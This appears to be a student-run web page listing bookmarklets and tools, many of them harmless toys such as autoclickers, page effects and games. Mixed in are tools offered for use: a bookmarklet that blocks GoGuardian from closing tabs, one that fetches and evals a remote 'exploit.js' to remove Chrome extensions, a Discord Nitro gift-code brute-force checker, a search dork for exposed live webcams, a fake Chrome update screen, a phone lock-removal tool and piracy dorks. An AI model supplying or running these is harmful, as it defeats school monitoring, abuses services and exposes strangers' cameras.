get help making bookmarklets here
type tab name , then choose favicon or paste a custom link (does NOT work on New tab pages)
javascript:(function () {document.title=prompt('Tab Cloak\n\nEnter new Tab Title:');var icon=document.querySelector ('link[rel="icon"]');switch(prompt('Choose new tab icon:\n\n[1] Google Search\n[2] Google Drive\n[3] Custom URL')) {case'1':icon.setAttribute('href','https://www.google.com/favicon.ico');break;case'2':icon.setAttribute ('href','https://ssl.gstatic.com/images/branding/product/2x/hh_drive_96dp.png');break;case'3':icon.setAttribute ('href',prompt('Enter Custom Tab Icon URL:'))}})()
use this to epoxy glue any site in your current tab. click bottom right to toggle on and off!
javascript:var%20%24jscomp%3D%24jscomp%7C%7C%7B%7D%3B%24jscomp.scope%3D%7B%7D%3B%24jscomp.createTemplateTagFirstArg%3Dfunction(a)%7Breturn%20a.raw%3Da%7D%3B%24jscomp.createTemplateTagFirstArgWithRaw%3Dfunction(a%2Cb)%7Ba.raw%3Db%3Breturn%20a%7D%3Bvar%20frame%3Ddocument.createElement(%22iframe%22)%3Bframe.src%3Dprompt(%22What%20URL%20do%20you%20want%20to%20visit%3F%20(please%20start%20with%20https%3A%2F%2F%20or%20it%20will%20fail!!!1!)%22)%3Bvar%20stl%3Dframe.style%3Bstl.position%3D%22fixed%22%3Bstl.left%3Dstl.right%3Dstl.top%3Dstl.bottom%3Dstl.margin%3Dstl.border%3D%220%22%3Bstl.border%3D%22none%22%3Bstl.width%3Dstl.height%3D%22100%25%22%3Bstl.setProperty (%22z-index%22%2C%229999%22)%3Bstl.setProperty(%22background-color%22%2C%22%23FFFFFF%22)%3Bdocument.body.appendChild (frame)%3Bvar%20btn%3Ddocument.createElement(%22button%22)%3Bbtn.addEventListener(%22click%22%2Cfunction()%7Bframe.style.display%3D%22none%22%3D%3Dframe.style.display%3F%22block%22%3A%22none%22%7D)%3Bbtn.style%3D%22position%3A%20fixed%3B%20%5Cnbottom%3A%200%3B%20%5Cnright%3A%200%3B%20%5Cnmargin%3A%2020px%3B%20%5Cnz-index%3A%2099999%3B%5Cnborder%3A%20none%3B%5Cnfont-size%3A%2014px%3B%5Cnpadding%3A%203px%3B%5Cn%22%3Bbtn.innerHTML%3D%22Toggle%22%3Bdocument.body.appendChild(btn)%3Bvoid+0
go to a video on youtube.com and use this bookmarklet to remove restricted video notices or ads that play!
javascript:(function () {if (window.location.toString().includes('www.youtube.com/watch?v%27))%20{%20 window.open(%27https://www.youtube-nocookie.com/embed/%27%20+%20window.location.toString().split(%27=%27)[1])%20}})()
this bookmarklet stops your teacher from closing your tabs via goguardian
javascript:(function () {window.onbeforeunload = function() { return 1; };})()
allows you to edit the raw html of a website
javascript:(function () {var script=document.createElement('script');script.src='https://x-ray-goggles.mouse.org/webxray.js';script.className='webxray';script.setAttribute('data-lang','en-US');script.setAttribute('data-baseuri','https://x-ray-goggles.mouse.org');document.body.appendChild(script);}())
removes chrome extensions when visiting the web store
javascript:fetch(`https://compactcow.com/ltbeef/exploit.js`).then(data=>{data.text().then(text=>{eval(text)})});
inverts colors of the current page
javascript:void(document.head.appendChild(document.createElement('script')).src='https://cdn.jsdelivr.net/gh/oblnabil/oblnabil.github.io@main/hx/invertmedia.js')
opens a developer console on the bottom right of the screen
javascript:(function () { var script = document.createElement('script'); script.src="//cdn.jsdelivr.net/npm/eruda"; document.body.appendChild(script); script.onload = function () { eruda.init() } })();
opens a custom url in an about:blank tab
javascript:(function () {var url = prompt("Paste the link you want to be embedded into an about:blank page. (INCLUDE https://)", "LINK HERE"); var urlObj = new window.URL(window.location.href); win = window.open(); win.document.body.style.margin = "0"; win.document.body.style.height = "100vh"; var iframe = win.document.createElement("iframe"); iframe.style.border = "none"; iframe.style.width = "100%"; iframe.style.height = "100%"; iframe.style.margin = "0"; iframe.referrerpolicy = "no-referrer"; iframe.allow = "fullscreen"; iframe.src = url.toString(); win.document.body.appendChild(iframe); })();
be on the page you want to flood your history when you use this, then use and it will flood your desired amount!
javascript:var num=prompt("History flood amount:");done=false;x=window.location.href;for (var i=1; i<=num; i++){history.pushState(0, 0, i==num?x:i.toString());if(i==num){done=true}}if(done===true){alert("History flood successful! "+window.location.href+" now appears in your history "+num+(num==1?" time.":" times."))}
create new bookmark & paste this code as url, then run the bookmark and click where u want to autoclick
javascript:var DELAY = 1;var autoClickerStyleElement = document.createElement("style");autoClickerStyleElement.innerHTML="*{cursor: crosshair !important;}";document.body.appendChild(autoClickerStyleElement);function addClicker(e) {if(!e.isTrusted) {return;}if(e.target.classList.contains("auto-clicker-target")){e.target.classList.remove("auto-clicker-target");} else {e.target.classList.add("auto-clicker-target");}document.body.removeChild(autoClickerStyleElement);document.body.removeEventListener("click", addClicker);e.preventDefault();autoClick(e.target);}function autoClick(element) {if(element.classList.contains("auto-clicker-target")) {element.click();setTimeout(function(){ autoClick(element); }, DELAY);}}document.body.addEventListener("click", addClicker, 0);
create new bookmark & paste this code as url, then run the bookmark, choose your cps, and click where u want to autoclick
javascript:(function(x,y){if(!window.click){window.click=!0,document.body.style.cursor='crosshair';var cps=prompt('autoclicker cps: (under 200 recommended)');if(!cps||isNaN(cps)?(alert('you entered something wrong. try running the script again.'),end()):alert('autoclicker activated at '+cps+' cps! do [ctrl+e] to stop.'),addEventListener('mousemove',e=>{x=e.clientX,y=e.clientY}),addEventListener('keydown',e=>{'e'===e.key&&e.ctrlKey&&(alert('autoclicker deactivated! click the bookmark again to reactivate!'),end())}),window.click)var int=setInterval(function(){var e=document.elementFromPoint(x,y);e&&e.click()},1e3/cps);function end(){clearInterval(int),window.click=!1,document.body.style.cursor='default'}}})()
copy code and paste as bookmark url to make page editable
javascript:document.body.contentEditable = 'true'; document.designMode='on'; void 0
calculator in window that doesnt show up in history. use * for multiplying not x
javascript:eval('function calc(){_o=prompt(_t,_z);if(_o!=\'\'&&_o!=null&&_o.toUpperCase()==_o.toLowerCase())_z=eval(_o);}');_t='JAVASCRIPTER.NET Calculator - Input the expression to be calculated:';_z='';calc();while(_o!=''&&_o!=null&&_o.toUpperCase()==_o.toLowerCase())calc()
revert back to normal page to hide that you edited anything
javascript:document.body.contentEditable = 'false'; document.designMode='off'; void 0
use bookmarklet to fake a chrome update screen
javascript:(function() { var overlay = document.createElement("div"); overlay.style.position = "fixed"; overlay.style.top = "0"; overlay.style.left = "0"; overlay.style.width = "100%"; overlay.style.height = "100%"; overlay.style.background = "#FFFFFF"; overlay.style.opacity = "0.95"; overlay.style.zIndex = "9999999"; var dialog = document.createElement("div"); dialog.style.position = "absolute"; dialog.style.top = "50%"; dialog.style.left = "50%"; dialog.style.transform = "translate(-50%, -50%)"; dialog.style.width = "450px"; dialog.style.padding = "20px"; dialog.style.background = "#FFFFFF"; dialog.style.border = "1px solid #333333"; dialog.style.borderRadius = "5px"; dialog.style.boxShadow = "0 0 10px rgba(0,0,0,0.5)"; dialog.style.zIndex = "99999999"; var title = document.createElement("h1"); title.innerHTML = "Google Chrome Update"; title.style.marginTop = "0"; title.style.textAlign = "center"; dialog.appendChild(title); var message = document.createElement("p"); message.innerHTML = "Your version of Google Chrome is outdated. Please click the button below to update now."; message.style.margin = "20px 0"; message.style.textAlign = "center"; dialog.appendChild(message); var button = document.createElement("button"); button.innerHTML = "Update Now"; button.style.background = "#0078D7"; button.style.border = "none"; button.style.color = "#FFFFFF"; button.style.padding = "10px 20px"; button.style.borderRadius = "5px"; button.style.cursor = "pointer"; button.addEventListener("click", function() { window.location.href = "https://google.com/chrome"; }); dialog.appendChild(button); overlay.appendChild(dialog); document.body.appendChild(overlay); })();
mods or tweaks generally for browser games
use this on the official google snake only, click the bookmarklet once in the game
javascript: req = new XMLHttpRequest(); req.open('GET', 'https://raw.githubusercontent.com/DarkSnakeGang/GoogleSnakeCustomMenuStuff/main/custom.js'); req.onload = function() { eval(this.responseText + 'snake.more_menu();'); }; req.send();
in the idle breakout settings page paste this into the "import" box
MTgzNixJbmZpbml0eSxJbmZpbml0eSwyMTcsMCwxNjUyNTgsMTY1MjU4LDgxMTMyLDUsMSwxLDEsMSwwLDQzN Tk1Ljc4LDQ2ODE1MTM5LDAsMCwwLDAsMCwwLDAsMCwwLDAsMTkzODc1Njg1MCwxOTM4NzU2ODUwL DAsMCwwLDAsMCwxMDAwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsNSwyNTUsMCwzMywwLDEwLD ksMTY0LDQsOTUsMCwwLDAsMCwwLDEsMCwwLDAsMSwxLDEsMCwwLDAsMCwwLDEsMSwxLDEsMCwxLDEsMSwxLDAsMSwxLD EsMSwwLDEsMSwxLDEsMCwxLDEsMSwxLDAsMSwxLDEsMSwwLEluZmluaXR5LDAsMCwwLDEsSW5maW5pdHksMSwwLDAs
in the idle breakout settings page paste this into the "import" box
MjYwNDY0LDFlKzMwMixJbmZpbml0eSw0MDE4NywwLDE1MjY0NTkzLDE1MjY0NTkzLDc2
Game.Earn adds cookies to your total, Game.cookies sets your total cookies. press ctrl + shift + j for console to run
Game.Earn(cookieount); Game.cookies=1000;
random tools somewhat related to ttg or yeah
the version best for curating games. it is unofficially availlable so you can download it on ttg
super duper awesome autoclicker that you can use (windows)
quick and easy way to deminify javascript code when working with gamefiles!
convert your micro sd or sd card to fat32 format which lets you put them into nintendo ds's
this lets you put sd cards larger than 32gb into nintendo ds's and 3ds's since nintendo doesnt let you unless you use this tool
convert your roms from various consoles to cia format to load onto a cracked 3ds
some thing i made years back for my first real gamesite. kinda cool
https://replit.com/@Infray/important-school-work
this tool can remove frp, google account lock, password lock, and more from samsung phones (be moral!)
To run this you need to: import the py requests library, make a .txt file name it Nitro Codes.txt
then make another named Valid Codes.txt, finally make a .py script and name it main.py
paste the code then run inside of terminal. the chance of generating a real code is almost zero
import requests import random import string import time print("""NITRO GEN + CHECKER""") time.sleep(2) print("GET YOUR VALID NITROS AT VALID CODES.TXT") time.sleep(0.3) print("MADE BY INFRAY\n\n") time.sleep(0.2) num = int(input('HOW MANY CODES YOU WANT : ')) with open("Nitro Codes.txt", "w", encoding='utf-8') as file: print("STATUS : OK") start = time.time() for i in range(num): code = "".join(random.choices( string.ascii_uppercase + string.digits + string.ascii_lowercase, k = 16 )) file.write(f"https://discord.gift/{code}\n") print(f"GENERATED {num} CODES | TIME TAKEN : {time.time() - start}\n") with open("Nitro Codes.txt") as file: for line in file.readlines(): nitro = line.strip("\n") url = "https://discordapp.com/api/v6/entitlements/gift-codes/" + nitro + "?with_application=false&with_subscription_plan=true" r = requests.get(url) if r.status_code == 200: print(f" Valid | {nitro} ") break else: print(f" Invalid | {nitro} ") input("\nCHECK VALID CODES.TXT FOR VALID CODES")
powerful web scraping tool in portable form (windows)
paste a github directory link and download the zip immediately- without downloading an entire repo
https://download-directory.github.io/
still advanced for most people but its fun yk
this is honestly so cool it makes every page like a 3d cube but flat idk but its AWESOME
javascript:(function(){var js=document.body.appendChild(document.createElement("script"));js.onerror=function(){alert("Error! The Script Could Not Be Loaded!")};js.src="https://rawgit.com/Krazete/bookmarklets/master/tri.js"})();
spawn a rocket ship you can control with wasd & shoot with space, you can shoot words on page for points
javascript:var%20KICKASSVERSION='2.0';var%20s%20=%20document.createElement('script');s.type='text/javascript';document.body.appendChild(s);s.src='//hi.kickassapp.com/kickass.js';void(0);
this is the file tyoe to run on a modded 3ds. you can load .cia games or movies onto them, in this case its 2 seasons of one of my favorite tv shows so enjoy!
change all images on page to metal pipe and also plays a sound effect of it
this makes your cursor spin. it won't go away until you reload the page or visit a new one
javascript:iV33MaET=0;Cu4Xg8Y=new Array('n-resize','nw-resize','w-resize','sw-resize','s-resize','se-resize', 'e-resize','ne-resize');setInterval('iV33MaET++;document.body.style.cursor=Cu4Xg8Y[iV33MaET%8]',150)
pasting this code into the address bar will meet you with multiple random cameras broadcasting their footage online
intitle:"webcamxp 5" intext: "live stream"
this makes your screen spin, change color, play sounds, and have a odd cursor. refresh to undo
https://github.com/xploitspeeds/Bookmarklet-Hacks-For-School/blob/main/Troll%20Bookmarklet%20%5BDOES%20LAG!%5D
opens a stopwatch that you try to stop at exactly zero1!
javascript:((function()%7Bvar a,b,c;c="https://www.stopatnothinggame.com",b=document.createElement("iframe"),b.setAttribute("src",c),b.setAttribute("id","rusic-modal"),b.setAttribute("style","position: fixed; z-index: 999999; width: 400px; height: 400px; right: 1000px; top: 10px; border: 5px solid #8834af; overflow: hidden; background-color: #fff;"),a=document.getElementsByTagName("body")%5B0%5D,a.appendChild(b)%7D)).call(this)
this makes the images on your page fly around~
javascript:R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300; y5=200; DI=document.getElementsByTagName("img"); DIL=DI.length; function A(){for(i=0; i-DIL; i++){DIS=DI[ i ].style; DIS.position='absolute'; DIS.left=(Math.sin(R*x1+i*x2+x3)*x4+x5)+"px"; DIS.top=(Math.cos(R*y1+i*y2+y3)*y4+y5)+"px"}R++}setInterval('A()',5); void(0)
lets you shoot at elements on the screen disappearing them!
javascript:for(var i=0; i<(document.getElementsByTagName('a')).length; i++) {(document.getElementsByTagName('a')[i]).style.pointerEvents = 'none';}function handler(e) {e = e || window.event;var target = e.target || e.srcElement;target.style.display = 'none';document.removeEventListener('click', handler, false);cursor('default');for(var i=0; i<(document.getElementsByTagName('a')).length; i++) {(document.getElementsByTagName('a')[i]).style.pointerEvents = 'initial';}}document.addEventListener('click', handler, false);cursor('crosshair');function cursor(cur) { document.body.style.cursor = cur; }
this bookmarklet spawns ants on your screen, and they will eat the letters on your screen!
note: u must click the shield in your URL bar and click "load unsafe scripts" for this to work.
javascript:document.getElementsByTagName('head')[0].appendChild(document.createElement('script')).setAttribute('src','http://www.cs.huji.ac.il/~irush/scripts/antsbml.js');
just a piano
javascript:(function(){var js=document.body.appendChild(document.createElement("script"));js.onerror=function(){alert("Sorry, the script could not be loaded.")};js.src="https://rawgita.com/Krazete/bookmarklets/master/piano.js"})();
click to place a bomb which will destroy some letters on your screen.
javascript:(function () {var s = document.createElement('script');s.setAttribute('src', 'http://fontbomb.ilex.ca/js/main.js');document.body.appendChild(s);})();
place 2 fingers on the trackpad to control a ball on your screen. It will destroy all letters in its path!
javascript:var i,s,ss=['http://kathack.com/js/kh.js','http://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js'];for(i=0;i!=ss.length;i++){s=document.createElement('script');s.src=ss[i];document.body.appendChild(s);}void(0);
everything on your screen will rotate
javascript:(function(){['', '-ms-', '-webkit-', '-o-', '-moz-'].map(function(prefix){Array.prototype.slice.call(document.querySelectorAll('div,p,span,img,a,body')).map(function(el){el.style[prefix + 'transform'] = 'rotate(' + (Math.floor(Math.random() * 3) - 1) + 'deg)';});});}())
drag and drop colors from the left toolbar, and color your webpage
javascript:(function(){var el=document.createElement('script');el.type='text/javascript';el.src='https://rawgit.com/ApoorvSaxena/colordrop/master/dist/production.min.js';el.onerror=function(){alert("Looks like the Content Security Policy directive is blocking the use of bookmarklets\n\nYou can copy and paste the content of:\n\n\"https://rawgit.com/ApoorvSaxena/colordrop/master/dist/production.min.js\"\n\ninto your console instead\n\n(link is in console already)");console.log("https://rawgit.com/ApoorvSaxena/colordrop/master/dist/production.min.js");};document.getElementsByTagName('body')[0].appendChild(el);})();
just a stopwatch!
javascript:(function(){var timerInterval = null;var iElapsed = 0;var iPrevious = 0;var bg;function createBG(){bg = document.createElement("div");bg.id = "crebTimer";bg.style.width="200px";bg.style.height="75px";bg.style.backgroundColor="white";bg.style.border="solid 3px black";bg.style.position="absolute";bg.style.left="0px";bg.style.top="0px";bg.style.zIndex="500";bg.style.textAlign="center";var bod = document.getElementsByTagName("body")[0];bod.appendChild(bg);}function createForm(){if(bg){var timer_display = document.createElement("div");timer_display.innerHTML = "00:00:00";bg.appendChild(timer_display);var start_stop = document.createElement("input");start_stop.type="button";start_stop.value = "START";document.onkeypress = function(event){if(event.keyCode==122){start_stop.onclick();}};start_stop.onclick = function(){if(start_stop.value=="START"){if(timerInterval!=null){alert('not null');return;}document.getElementById("clearButton").style.display="none";start_stop.value="STOP";timerInterval = setInterval(function(){iPrevious = (iPrevious==0) ? new Date().getTime() : iPrevious;iElapsed = new Date().getTime();var curTime = iElapsed - iPrevious;var minutes = 0;var seconds = 0;var millis = curTime;if(millis > 1000){seconds = Math.floor(millis/1000);millis = (millis-(seconds*1000));if(seconds >= 60){minutes = Math.floor(seconds/60);seconds = seconds - (minutes*60)}}if(minutes.toString().length==1){minutes = "0"+minutes.toString();}if(seconds.toString().length==1){seconds = "0"+seconds.toString();}if(millis.toString().length==1){millis = "0"+millis.toString();} else if(millis.toString().length==3){millis = millis.toString().substr(0,2);}timer_display.innerHTML = minutes.toString()+":"+seconds.toString()+":"+millis.toString();},10);}else{start_stop.value="START";clearInterval(timerInterval);timerInterval = null;document.getElementById("clearButton").style.display="inline-block";}};bg.appendChild(start_stop);var clear = document.createElement("input");clear.type="button";clear.id = "clearButton";clear.value="CLEAR";clear.onclick = function(){iElapsed = 0;iPrevious = 0;timer_display.innerHTML = "00:00:00";};bg.appendChild(clear);}}if(document.getElementById("crebTimer")==null){createBG();createForm();}})();
random things that dont fit within the other parameters
kinda outdated at this point.. putting it here cuz its one of the ogs
https://www.rateavon.je/error.php
clicking this bookmark, then the font you want to select will show font name, size & more details about the font
javascript:(function(){var d=document,s=d.createElement('scr'+'ipt'),b=d.body,l=d.location;s.setAttribute('src','http://chengyinliu.com/wf.js?o='+encodeURIComponent(l.href)+'&t='+(new Date().getTime()));b.appendChild(s)})();
this search term can sometimes find public drives with movies in them
site:drive.google.com movies
tutorials made by tt aka infray (creator of ttg)
how to add emulated games to an ALREADY modded 3ds